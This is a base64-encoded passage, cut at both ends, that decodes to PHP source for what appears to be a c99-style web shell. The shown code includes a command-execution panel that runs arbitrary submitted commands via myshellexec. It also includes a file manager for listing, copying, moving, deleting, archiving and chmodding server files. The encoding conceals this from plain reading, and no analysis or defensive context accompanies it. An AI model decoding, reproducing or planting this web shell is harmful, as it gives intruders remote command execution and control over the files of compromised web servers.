dikge2lmIChpbl9hcnJheSgkdiwkYWN0Ym94KSkge3Vuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7fX0gY2Ffc2Vzc19wdXQoJHNlc3NfZGF0YSk7ICR4ID0gImxzIjt9DQogIGlmICgkYWN0ZW1wdHlidWZmKSB7JHNlc3NfZGF0YVsiY29weSJdID0gJHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheSgpOyBjYV9zZXNzX3B1dCgkc2Vzc19kYXRhKTt9DQogIGVsc2VpZiAoJGFjdHBhc3RlYnVmZikgew0KICAgICRwc3RlcnIgPSAiIjsNCiAgICBmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHsNCiAgICAgICR0byA9ICRkLmJhc2VuYW1lKCR2KTsNCiAgICAgIGlmICghZnNfY29weV9vYmooJHYsJHRvKSkgeyRwc3RlcnIgLj0gIkNhbid0IGNvcHkgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQ0KICAgICAgaWYgKCRjb3B5X3Vuc2V0KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fQ0KICAgIH0NCiAgICBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikgew0KICAgICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOw0KICAgICAgaWYgKCFmc19tb3ZlX29iaigkdiwkdG8pKSB7JHBzdGVyciAuPSAiQ2FuJ3QgbW92ZSAiLiR2LiIgdG8gIi4kdG8uIiE8YnI+Ijt9DQogICAgICB1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pOw0KICAgIH0NCiAgICBjYV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsNCiAgICBpZiAoIWVtcHR5KCRwc3RlcnIpKSB7ZWNobyAiPGI+UGFzdGluZyB3aXRoIGVycm9yczo8L2I+PGJyPiIuJHBzdGVycjt9DQogICAgJHggPSAibHMiOw0KICB9DQogIGVsc2VpZiAoJGFjdGFyY2J1ZmYpIHsNCiAgICAkYXJjZXJyID0gIiI7DQogICAgaWYgKHN1YnN0cigkYWN0YXJjYnVmZl9wYXRoLC03LDcpID09ICIudGFyLmd6IikgeyRleHQgPSAiLnRhci5neiI7fQ0KICAgIGVsc2UgeyRleHQgPSAiLnRhci5neiI7fQ0KICAgIGlmICgkZXh0ID09ICIudGFyLmd6IikgeyRjbWRsaW5lID0gInRhciBjZnp2Ijt9DQogICAgJGNtZGxpbmUgLj0gIiAiLiRhY3RhcmNidWZmX3BhdGg7DQogICAgJG9iamVjdHMgPSBhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjb3B5Il0sJHNlc3NfZGF0YVsiY3V0Il0pOw0KICAgIGZvcmVhY2goJG9iamVjdHMgYXMgJHYpIHsNCiAgICAgICR2ID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR2KTsNCiAgICAgIGlmIChzdWJzdHIoJHYsMCxzdHJsZW4oJGQpKSA9PSAkZCkgeyR2ID0gYmFzZW5hbWUoJHYpO30NCiAgICAgIGlmIChpc19kaXIoJHYpKSB7DQogICAgICAgIGlmIChzdWJzdHIoJHYsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdiAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgICAgICAgJHYgLj0gIioiOw0KICAgICAgfQ0KICAgICAgJGNtZGxpbmUgLj0gIiAiLiR2Ow0KICAgIH0NCiAgICAkdG1wID0gcmVhbHBhdGgoIi4iKTsNCiAgICBjaGRpcigkZCk7DQogICAgJHJldCA9IG15c2hlbGxleGVjKCRjbWRsaW5lKTsNCiAgICBjaGRpcigkdG1wKTsNCiAgICBpZiAoZW1wdHkoJHJldCkpIHskYXJjZXJyIC49ICJDYW4ndCBjYWxsIGFyY2hpdmF0b3IgKCIuaHRtbHNwZWNpYWxjaGFycyhzdHIybWluaSgkY21kbGluZSw2MCkpLiIpITxicj4iO30NCiAgICAkcmV0ID0gc3RyX3JlcGxhY2UoIlxyXG4iLCJcbiIsJHJldCk7DQogICAgJHJldCA9IGV4cGxvZGUoIlxuIiwkcmV0KTsNCiAgICBpZiAoJGNvcHlfdW5zZXQpIHtmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTt9fQ0KICAgIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KSB7DQogICAgICBpZiAoaW5fYXJyYXkoJHYsJHJldCkpIHtmc19ybW9iaigkdik7fQ0KICAgICAgdW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTsNCiAgICB9DQogICAgY2Ffc2Vzc19wdXQoJHNlc3NfZGF0YSk7DQogICAgaWYgKCFlbXB0eSgkYXJjZXJyKSkge2VjaG8gIjxiPkFyY2hpdmF0aW9uIGVycm9yczo8L2I+PGJyPiIuJGFyY2Vycjt9DQogICAgJHggPSAibHMiOw0KICB9DQogIGVsc2VpZiAoJGFjdHBhc3RlYnVmZikgew0KICAgICRwc3RlcnIgPSAiIjsNCiAgICBmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHsNCiAgICAgICR0byA9ICRkLmJhc2VuYW1lKCR2KTsNCiAgICAgIGlmICghZnNfY29weV9vYmooJHYsJGQpKSB7JHBzdGVyciAuPSAiQ2FuJ3QgY29weSAiLiR2LiIgdG8gIi4kdG8uIiE8YnI+Ijt9DQogICAgICBpZiAoJGNvcHlfdW5zZXQpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTt9DQogICAgfQ0KICAgIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KSB7DQogICAgICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7DQogICAgICBpZiAoIWZzX21vdmVfb2JqKCR2LCRkKSkgeyRwc3RlcnIgLj0gIkNhbid0IG1vdmUgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQ0KICAgICAgdW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTsNCiAgICB9DQogICAgY2Ffc2Vzc19wdXQoJHNlc3NfZGF0YSk7DQogICAgaWYgKCFlbXB0eSgkcHN0ZXJyKSkge2VjaG8gIjxiPlBhc3Rpbmcgd2l0aCBlcnJvcnM6PC9iPjxicj4iLiRwc3RlcnI7fQ0KICAgICR4ID0gImxzIjsNCiAgfQ0KfQ0KaWYgKCR4ID09ICJjbWQiKSB7DQogIEBjaGRpcigkY2hkaXIpOw0KICBpZiAoIWVtcHR5KCRzdWJtaXQpKSB7DQogICAgZWNobyAiPGRpdiBjbGFzcz1iYXJoZWFkZXI+WyBSZXN1bHQgb2YgQ29tbWFuZCBFeGVjdXRpb24gXTwvZGl2PiI7DQogICAgJG9sZGRpciA9IHJlYWxwYXRoKCIuIik7DQogICAgQGNoZGlyKCRkKTsNCiAgICAkcmV0ID0gbXlzaGVsbGV4ZWMoJGNtZCk7DQogICAgJHJldCA9IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwidyIpOw0KICAgIGlmICgkY21kX3R4dCkgew0KICAgICAgJHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwkcmV0KSkrMTsNCiAgICAgIGlmICgkcm93cyA8IDEwKSB7JHJvd3MgPSAxMDsgfQ0KICAgICAgaWYgKCRtc2llKSB7ICRjb2xzID0gMTEzOyB9DQogICAgICBlbHNlIHsgJGNvbHMgPSAxMTc7fQ0KICAgICAgZWNobyAiPGRpdiBhbGlnbj1sZWZ0PjxwcmU+Ii5odG1sc3BlY2lhbGNoYXJzKCRyZXQpLiI8L3ByZT48L2Rpdj4iOw0KICAgIH0NCiAgICBlbHNlIHtlY2hvICRyZXQuIjxicj4iO30NCiAgICBAY2hkaXIoJG9sZGRpcik7DQogIH0NCiAgZWxzZSB7DQogICAgZWNobyAiPGI+Q29tbWFuZCBFeGVjdXRpb248L2I+IjsNCiAgICBpZiAoZW1wdHkoJGNtZF90eHQpKSB7JGNtZF90eHQgPSBUUlVFO30NCiAgfQ0KfQ0KaWYgKCR4ID09ICJscyIpIHsNCiAgaWYgKGNvdW50KCRsc19hcnIpID4gMCkgeyAkbGlzdCA9ICRsc19hcnI7IH0NCiAgZWxzZSB7DQogICAgJGxpc3QgPSBhcnJheSgpOw0KICAgIGlmICgkaCA9IEBvcGVuZGlyKCRkKSkgew0KICAgICAgd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpIHskbGlzdFtdID0gJGQuJG87fQ0KICAgICAgY2xvc2VkaXIoJGgpOw0KICAgIH0NCiAgfQ0KICBpZiAoY291bnQoJGxpc3QpID09IDApIHsgZWNobyAiPGRpdiBjbGFzcz1meGVycm1zZz5DYW4ndCBvcGVuIGZvbGRlciAoIi5odG1sc3BlY2lhbGNoYXJzKCRkKS4iKSE8L2Rpdj4iO30NCiAgZWxzZSB7DQogICAgJG9iamVjdHMgPSBhcnJheSgpOw0KICAgICR2ZCA9ICJmIjsgDQogICAgaWYgKCR2ZCA9PSAiZiIpIHsNCiAgICAgICRvYmplY3RzWyJoZWFkIl0gPSBhcnJheSgpOw0KICAgICAgJG9iamVjdHNbImZvbGRlcnMiXSA9IGFycmF5KCk7DQogICAgICAkb2JqZWN0c1sibGlua3MiXSA9IGFycmF5KCk7DQogICAgICAkb2JqZWN0c1siZmlsZXMiXSA9IGFycmF5KCk7DQogICAgICBmb3JlYWNoICgkbGlzdCBhcyAkdikgew0KICAgICAgICAkbyA9IGJhc2VuYW1lKCR2KTsNCiAgICAgICAgJHJvdyA9IGFycmF5KCk7DQogICAgICAgIGlmICgkbyA9PSAiLiIpIHskcm93W10gPSAkZC4kbzsgJHJvd1tdID0gIkNVUkRJUiI7fQ0KICAgICAgICBlbHNlaWYgKCRvID09ICIuLiIpIHskcm93W10gPSAkZC4kbzsgJHJvd1tdID0gIlVQRElSIjt9DQogICAgICAgIGVsc2VpZiAoaXNfZGlyKCR2KSkgew0KICAgICAgICAgIGlmIChpc19saW5rKCR2KSkgeyR0eXBlID0gIkxJTksiO30NCiAgICAgICAgICBlbHNlIHskdHlwZSA9ICJESVIiO30NCiAgICAgICAgICAkcm93W10gPSAkdjsNCiAgICAgICAgICAkcm93W10gPSAkdHlwZTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYoaXNfZmlsZSgkdikpIHskcm93W10gPSAkdjsgJHJvd1tdID0gZmlsZXNpemUoJHYpO30NCiAgICAgICAgJHJvd1tdID0gZmlsZW10aW1lKCR2KTsNCiAgICAgICAgaWYgKCEkd2luKSB7DQogICAgICAgICAgJG93ID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCR2KSk7DQogICAgICAgICAgJGdyID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCR2KSk7DQogICAgICAgICAgJHJvd1tdID0gKCRvd1sibmFtZSJdPyRvd1sibmFtZSJdOmZpbGVvd25lcigkdikpLiIvIi4oJGdyWyJuYW1lIl0/JGdyWyJuYW1lIl06ZmlsZWdyb3VwKCR2KSk7DQogICAgICAgIH0NCiAgICAgICAgJHJvd1tdID0gZmlsZXBlcm1zKCR2KTsNCiAgICAgICAgaWYgKCgkbyA9PSAiLiIpIG9yICgkbyA9PSAiLi4iKSkgeyRvYmplY3RzWyJoZWFkIl1bXSA9ICRyb3c7fQ0KICAgICAgICBlbHNlaWYgKGlzX2xpbmsoJHYpKSB7JG9iamVjdHNbImxpbmtzIl1bXSA9ICRyb3c7fQ0KICAgICAgICBlbHNlaWYgKGlzX2RpcigkdikpIHskb2JqZWN0c1siZm9sZGVycyJdW10gPSAkcm93O30NCiAgICAgICAgZWxzZWlmIChpc19maWxlKCR2KSkgeyRvYmplY3RzWyJmaWxlcyJdW10gPSAkcm93O30NCiAgICAgICAgJGkrKzsNCiAgICAgIH0NCiAgICAgICRyb3cgPSBhcnJheSgpOw0KICAgICAgJHJvd1tdID0gIjxiPk5hbWU8L2I+IjsNCiAgICAgICRyb3dbXSA9ICI8Yj5TaXplPC9iPiI7DQogICAgICAkcm93W10gPSAiPGI+RGF0ZSBNb2RpZmllZDwvYj4iOw0KICAgICAgaWYgKCEkd2luKSB7JHJvd1tdID0gIjxiPk93bmVyL0dyb3VwPC9iPiI7fQ0KICAgICAgJHJvd1tdID0gIjxiPlBlcm1zPC9iPiI7DQogICAgICAkcm93W10gPSAiPGI+QWN0aW9uPC9iPiI7DQogICAgICAkcGFyc2Vzb3J0ID0gcGFyc2Vzb3J0KCRzb3J0KTsNCiAgICAgICRzb3J0ID0gJHBhcnNlc29ydFswXS4kcGFyc2Vzb3J0WzFdOw0KICAgICAgJGsgPSAkcGFyc2Vzb3J0WzBdOw0KICAgICAgaWYgKCRwYXJzZXNvcnRbMV0gIT0gImEiKSB7JHBhcnNlc29ydFsxXSA9ICJkIjt9DQogICAgICAkeSA9ICIgPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZzb3J0PSIuJGsuKCRwYXJzZXNvcnRbMV0gPT0gImEiPyJkIjoiYSIpLiJcIj4iOw0KICAgICAgJHkgLj0gIjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNvcnRfIi4oJHNvcnRbMV0gPT0gImEiPyJhc2MiOiJkZXNjIikuIlwiIGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYWx0PVwiIi4oJHBhcnNlc29ydFsxXSA9PSAiYSI/IkFzYy4iOiJEZXNjIikuIlwiIGJvcmRlcj1cIjBcIj48L2E+IjsNCiAgICAgICRyb3dbJGtdIC49ICR5Ow0KICAgICAgZm9yKCRpPTA7JGk8Y291bnQoJHJvdyktMTskaSsrKSB7DQogICAgICAgIGlmICgkaSAhPSAkaykgeyRyb3dbJGldID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImc29ydD0iLiRpLiRwYXJzZXNvcnRbMV0uIlwiPiIuJHJvd1skaV0uIjwvYT4iO30NCiAgICAgIH0NCiAgICAgICR2ID0gJHBhcnNlc29ydFswXTsNCiAgICAgIHVzb3J0KCRvYmplY3RzWyJmb2xkZXJzIl0sICJ0YWJzb3J0Iik7DQogICAgICB1c29ydCgkb2JqZWN0c1sibGlua3MiXSwgInRhYnNvcnQiKTsNCiAgICAgIHVzb3J0KCRvYmplY3RzWyJmaWxlcyJdLCAidGFic29ydCIpOw0KICAgICAgaWYgKCRwYXJzZXNvcnRbMV0gPT0gImQiKSB7DQogICAgICAgICRvYmplY3RzWyJmb2xkZXJzIl0gPSBhcnJheV9yZXZlcnNlKCRvYmplY3RzWyJmb2xkZXJzIl0pOw0KICAgICAgICAkb2JqZWN0c1siZmlsZXMiXSA9IGFycmF5X3JldmVyc2UoJG9iamVjdHNbImZpbGVzIl0pOw0KICAgICAgfQ0KICAgICAgJG9iamVjdHMgPSBhcnJheV9tZXJnZSgkb2JqZWN0c1siaGVhZCJdLCRvYmplY3RzWyJmb2xkZXJzIl0sJG9iamVjdHNbImxpbmtzIl0sJG9iamVjdHNbImZpbGVzIl0pOw0KICAgICAgJHRhYiA9IGFycmF5KCk7DQogICAgICAkdGFiWyJjb2xzIl0gPSBhcnJheSgkcm93KTsNCiAgICAgICR0YWJbImhlYWQiXSA9IGFycmF5KCk7DQogICAgICAkdGFiWyJmb2xkZXJzIl0gPSBhcnJheSgpOw0KICAgICAgJHRhYlsibGlua3MiXSA9IGFycmF5KCk7DQogICAgICAkdGFiWyJmaWxlcyJdID0gYXJyYXkoKTsNCiAgICAgICRpID0gMDsNCiAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRhKSB7DQogICAgICAgICR2ID0gJGFbMF07DQogICAgICAgICRvID0gYmFzZW5hbWUoJHYpOw0KICAgICAgICAkZGlyID0gZGlybmFtZSgkdik7DQogICAgICAgIGlmICgkZGlzcF9mdWxscGF0aCkgeyRkaXNwcGF0aCA9ICR2O30NCiAgICAgICAgZWxzZSB7JGRpc3BwYXRoID0gJG87fQ0KICAgICAgICAkZGlzcHBhdGggPSBzdHIybWluaSgkZGlzcHBhdGgsNjApOw0KICAgICAgICBpZiAoaW5fYXJyYXkoJHYsJHNlc3NfZGF0YVsiY3V0Il0pKSB7JGRpc3BwYXRoID0gIjxzdHJpa2U+Ii4kZGlzcHBhdGguIjwvc3RyaWtlPiI7fQ0KICAgICAgICBlbHNlaWYgKGluX2FycmF5KCR2LCRzZXNzX2RhdGFbImNvcHkiXSkpIHskZGlzcHBhdGggPSAiPHU+Ii4kZGlzcHBhdGguIjwvdT4iO30NCiAgICAgICAgZm9yZWFjaCAoJHJlZ3hwX2hpZ2hsaWdodCBhcyAkcikgew0KICAgICAgICAgIGlmIChlcmVnKCRyWzBdLCRvKSkgew0KICAgICAgICAgICAgaWYgKCghaXNfbnVtZXJpYygkclsxXSkpIG9yICgkclsxXSA+IDMpKSB7JHJbMV0gPSAwOyBvYl9jbGVhbigpOyBlY2hvICJXYXJuaW5nISBDb25maWd1cmF0aW9uIGVycm9yIGluIFwkcmVneHBfaGlnaGxpZ2h0WyIuJGsuIl1bMF0gLSB1bmtub3duIGNvbW1hbmQuIjsgY2Fwcml2OGV4aXQoKTt9DQogICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgJHJbMV0gPSByb3VuZCgkclsxXSk7DQogICAgICAgICAgICAgICRpc2RpciA9IGlzX2Rpcigkdik7DQogICAgICAgICAgICAgIGlmICgoJHJbMV0gPT0gMCkgb3IgKCgkclsxXSA9PSAxKSBhbmQgISRpc2Rpcikgb3IgKCgkclsxXSA9PSAyKSBhbmQgISRpc2RpcikpIHsNCiAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJHJbMl0pKSB7JHJbMl0gPSAiPGI+IjsgJHJbM10gPSAiPC9iPiI7fQ0KICAgICAgICAgICAgICAgICRkaXNwcGF0aCA9ICRyWzJdLiRkaXNwcGF0aC4kclszXTsNCiAgICAgICAgICAgICAgICBpZiAoJHJbNF0pIHticmVhazt9DQogICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJHVvID0gdXJsZW5jb2RlKCRvKTsNCiAgICAgICAgJHVkID0gdXJsZW5jb2RlKCRkaXIpOw0KICAgICAgICAkdXYgPSB1cmxlbmNvZGUoJHYpOw0KICAgICAgICAkcm93ID0gYXJyYXkoKTsNCiAgICAgICAgaWYgKCRvID09ICIuIikgew0KICAgICAgICAgICRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKHJlYWxwYXRoKCRkLiRvKSkuIiZzb3J0PSIuJHNvcnQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNtYWxsX2RpclwiIGJvcmRlcj1cIjBcIj4mbmJzcDsiLiRvLiI8L2E+IjsNCiAgICAgICAgICAkcm93W10gPSAiQ1VSRElSIjsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYgKCRvID09ICIuLiIpIHsNCiAgICAgICAgICAkcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZShyZWFscGF0aCgkZC4kbykpLiImc29ydD0iLiRzb3J0LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1leHRfbG5rXCIgYm9yZGVyPVwiMFwiPiZuYnNwOyIuJG8uIjwvYT4iOw0KICAgICAgICAgICRyb3dbXSA9ICJVUERJUiI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZWlmIChpc19kaXIoJHYpKSB7DQogICAgICAgICAgaWYgKGlzX2xpbmsoJHYpKSB7DQogICAgICAgICAgICAkZGlzcHBhdGggLj0gIiA9PiAiLnJlYWRsaW5rKCR2KTsNCiAgICAgICAgICAgICR0eXBlID0gIkxJTksiOw0KICAgICAgICAgICAgJHJvd1tdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PWxzJmQ9Ii4kdXYuIiZzb3J0PSIuJHNvcnQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9sbmtcIiBib3JkZXI9XCIwXCI+Jm5ic3A7WyIuJGRpc3BwYXRoLiJdPC9hPiI7DQogICAgICAgICAgfQ0KICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgJHR5cGUgPSAiRElSIjsNCiAgICAgICAgICAgICRyb3dbXSA9ICAiPGEgaHJlZj1cIiIuJHN1cmwuIng9bHMmZD0iLiR1di4iJnNvcnQ9Ii4kc29ydC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c21hbGxfZGlyXCIgYm9yZGVyPVwiMFwiPiZuYnNwO1siLiRkaXNwcGF0aC4iXTwvYT4iOw0KICAgICAgICAgIH0NCiAgICAgICAgICAkcm93W10gPSAkdHlwZTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYoaXNfZmlsZSgkdikpIHsNCiAgICAgICAgICAkZXh0ID0gZXhwbG9kZSgiLiIsJG8pOw0KICAgICAgICAgICRjID0gY291bnQoJGV4dCktMTsNCiAgICAgICAgICAkZXh0ID0gJGV4dFskY107DQogICAgICAgICAgJGV4dCA9IHN0cnRvbG93ZXIoJGV4dCk7DQogICAgICAgICAgJHJvd1tdID0gICI8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii4kdW8uIiZkPSIuJHVkLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1leHRfIi4kZXh0LiJcIiBib3JkZXI9XCIwXCI+Jm5ic3A7Ii4kZGlzcHBhdGguIjwvYT4iOw0KICAgICAgICAgICRyb3dbXSA9IHZpZXdfc2l6ZSgkYVsxXSk7DQogICAgICAgIH0NCiAgICAgICAgJHJvd1tdID0gZGF0ZSgiZC5tLlkgSDppOnMiLCRhWzJdKTsNCiAgICAgICAgaWYgKCEkd2luKSB7JHJvd1tdID0gJGFbM107fQ0KICAgICAgICAkcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Y2htb2QmZj0iLiR1by4iJmQ9Ii4kdWQuIlwiPjxiPiIudmlld19wZXJtc19jb2xvcigkdikuIjwvYj48L2E+IjsNCiAgICAgICAgaWYgKCRvID09ICIuIikgeyRjaGVja2JveCA9ICI8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImFjdGJveFtdXCIgb25jbGljaz1cImxzX3JldmVyc2VfYWxsKCk7XCI+IjsgJGktLTt9DQogICAgICAgIGVsc2UgeyRjaGVja2JveCA9ICI8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImFjdGJveFtdXCIgaWQ9XCJhY3Rib3giLiRpLiJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdikuIlwiPiI7fQ0KICAgICAgICBpZiAoaXNfZGlyKCR2KSkgeyRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD1kJmQ9Ii4kdXYuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9kaXpcIiBhbHQ9XCJJbmZvXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsiLiRjaGVja2JveDt9DQogICAgICAgIGVsc2UgeyRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii4kdW8uIiZmdD1pbmZvJmQ9Ii4kdWQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9kaXpcIiBhbHQ9XCJJbmZvXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE2XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii4kdW8uIiZmdD1lZGl0JmQ9Ii4kdWQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWNoYW5nZVwiIGFsdD1cIkNoYW5nZVwiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxOVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIuJHVvLiImZnQ9ZG93bmxvYWQmZD0iLiR1ZC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9ZG93bmxvYWRcIiBhbHQ9XCJEb3dubG9hZFwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7Ii4kY2hlY2tib3g7fQ0KICAgICAgICBpZiAoKCRvID09ICIuIikgb3IgKCRvID09ICIuLiIpKSB7JHRhYlsiaGVhZCJdW10gPSAkcm93O30NCiAgICAgICAgZWxzZWlmIChpc19saW5rKCR2KSkgeyR0YWJbImxpbmtzIl1bXSA9ICRyb3c7fQ0KICAgICAgICBlbHNlaWYgKGlzX2RpcigkdikpIHskdGFiWyJmb2xkZXJzIl1bXSA9ICRyb3c7fQ0KICAgICAgICBlbHNlaWYgKGlzX2ZpbGUoJHYpKSB7JHRhYlsiZmlsZXMiXVtdID0gJHJvdzt9DQogICAgICAgICRpKys7DQogICAgICB9DQogICAgfQ0KICAgICR0YWJsZSA9IGFycmF5X21lcmdlKCR0YWJbImNvbHMiXSwkdGFiWyJoZWFkIl0sJHRhYlsiZm9sZGVycyJdLCR0YWJbImxpbmtzIl0sJHRhYlsiZmlsZXMiXSk7DQogICAgZWNobyAiPGRpdiBjbGFzcz1iYXJoZWFkZXI+WyAiOw0KICAgIGlmICghZW1wdHkoJGZ4X2luZm9oZWFkKSkgeyBlY2hvICRmeF9pbmZvaGVhZDsgfQ0KICAgIGVsc2UgeyBlY2hvICJGaWxlcy9Gb2xkZXJzICgiLmNvdW50KCR0YWJbImZpbGVzIl0pLiIgZmlsZXMgYW5kICIuKGNvdW50KCR0YWJbImZvbGRlcnMiXSkrY291bnQoJHRhYlsibGlua3MiXSkpLiIgZm9sZGVycykiOyB9DQogICAgZWNobyAiIF08L2Rpdj5cbiI7DQogICAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1QgbmFtZT1cImxzX2Zvcm1cIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPVwiIi4kZHNwYWN0LiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSIuJGQuIj4iLg0KICAgICAgICAgIjx0YWJsZSBjbGFzcz1leHBsb3Jlcj4iOw0KICAgIGZvcmVhY2goJHRhYmxlIGFzICRyb3cpIHsNCiAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgZm9yZWFjaCgkcm93IGFzICR2KSB7ZWNobyAiPHRkPiIuJHYuIjwvdGQ+Ijt9DQogICAgICBlY2hvICI8L3RyPlxyXG4iOw0KICAgIH0NCiAgICBlY2hvICI8L3RhYmxlPiIuDQogICAgICAgICAiPHNjcmlwdD4iLg0KICAgICAgICAgImZ1bmN0aW9uIGxzX3NldGNoZWNrYm94YWxsKHN0YXR1cykgeyIuDQogICAgICAgICAiIHZhciBpZCA9IDE7IHZhciBudW0gPSAiLihjb3VudCgkdGFibGUpLTIpLiI7Ii4NCiAgICAgICAgICIgd2hpbGUgKGlkIDw9IG51bSkgeyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0Ym94JytpZCkuY2hlY2tlZCA9IHN0YXR1czsgaWQrKzsgfSIuDQogICAgICAgICAifSIuDQogICAgICAgICAiZnVuY3Rpb24gbHNfcmV2ZXJzZV9hbGwoKSB7Ii4NCiAgICAgICAgICIgdmFyIGlkID0gMTsgdmFyIG51bSA9ICIuKGNvdW50KCR0YWJsZSktMikuIjsiLg0KICAgICAgICAgIiB3aGlsZSAoaWQgPD0gbnVtKSB7IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rib3gnK2lkKS5jaGVja2VkID0gIWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rib3gnK2lkKS5jaGVja2VkOyBpZCsrOyB9Ii4NCiAgICAgICAgICJ9Ii4NCiAgICAgICAgICI8L3NjcmlwdD4iLg0KICAgICAgICAgIjxkaXYgYWxpZ249XCJyaWdodFwiPiIuDQogICAgICAgICAiPGlucHV0IHR5cGU9XCJidXR0b25cIiBvbmNsaWNrPVwibHNfc2V0Y2hlY2tib3hhbGwodHJ1ZSk7XCIgdmFsdWU9XCJTZWxlY3QgYWxsXCI+Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9XCJidXR0b25cIiBvbmNsaWNrPVwibHNfc2V0Y2hlY2tib3hhbGwoZmFsc2UpO1wiIHZhbHVlPVwiVW5zZWxlY3QgYWxsXCI+Ii4NCiAgICAgICAgICI8aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1hcnJvd19sdHJcIiBib3JkZXI9XCIwXCI+IjsNCiAgICBpZiAoY291bnQoYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCRzZXNzX2RhdGFbImN1dCJdKSkgPiAwIGFuZCAoJHVzZWZzYnVmZikpIHsNCiAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWFjdGFyY2J1ZmYgdmFsdWU9XCJQ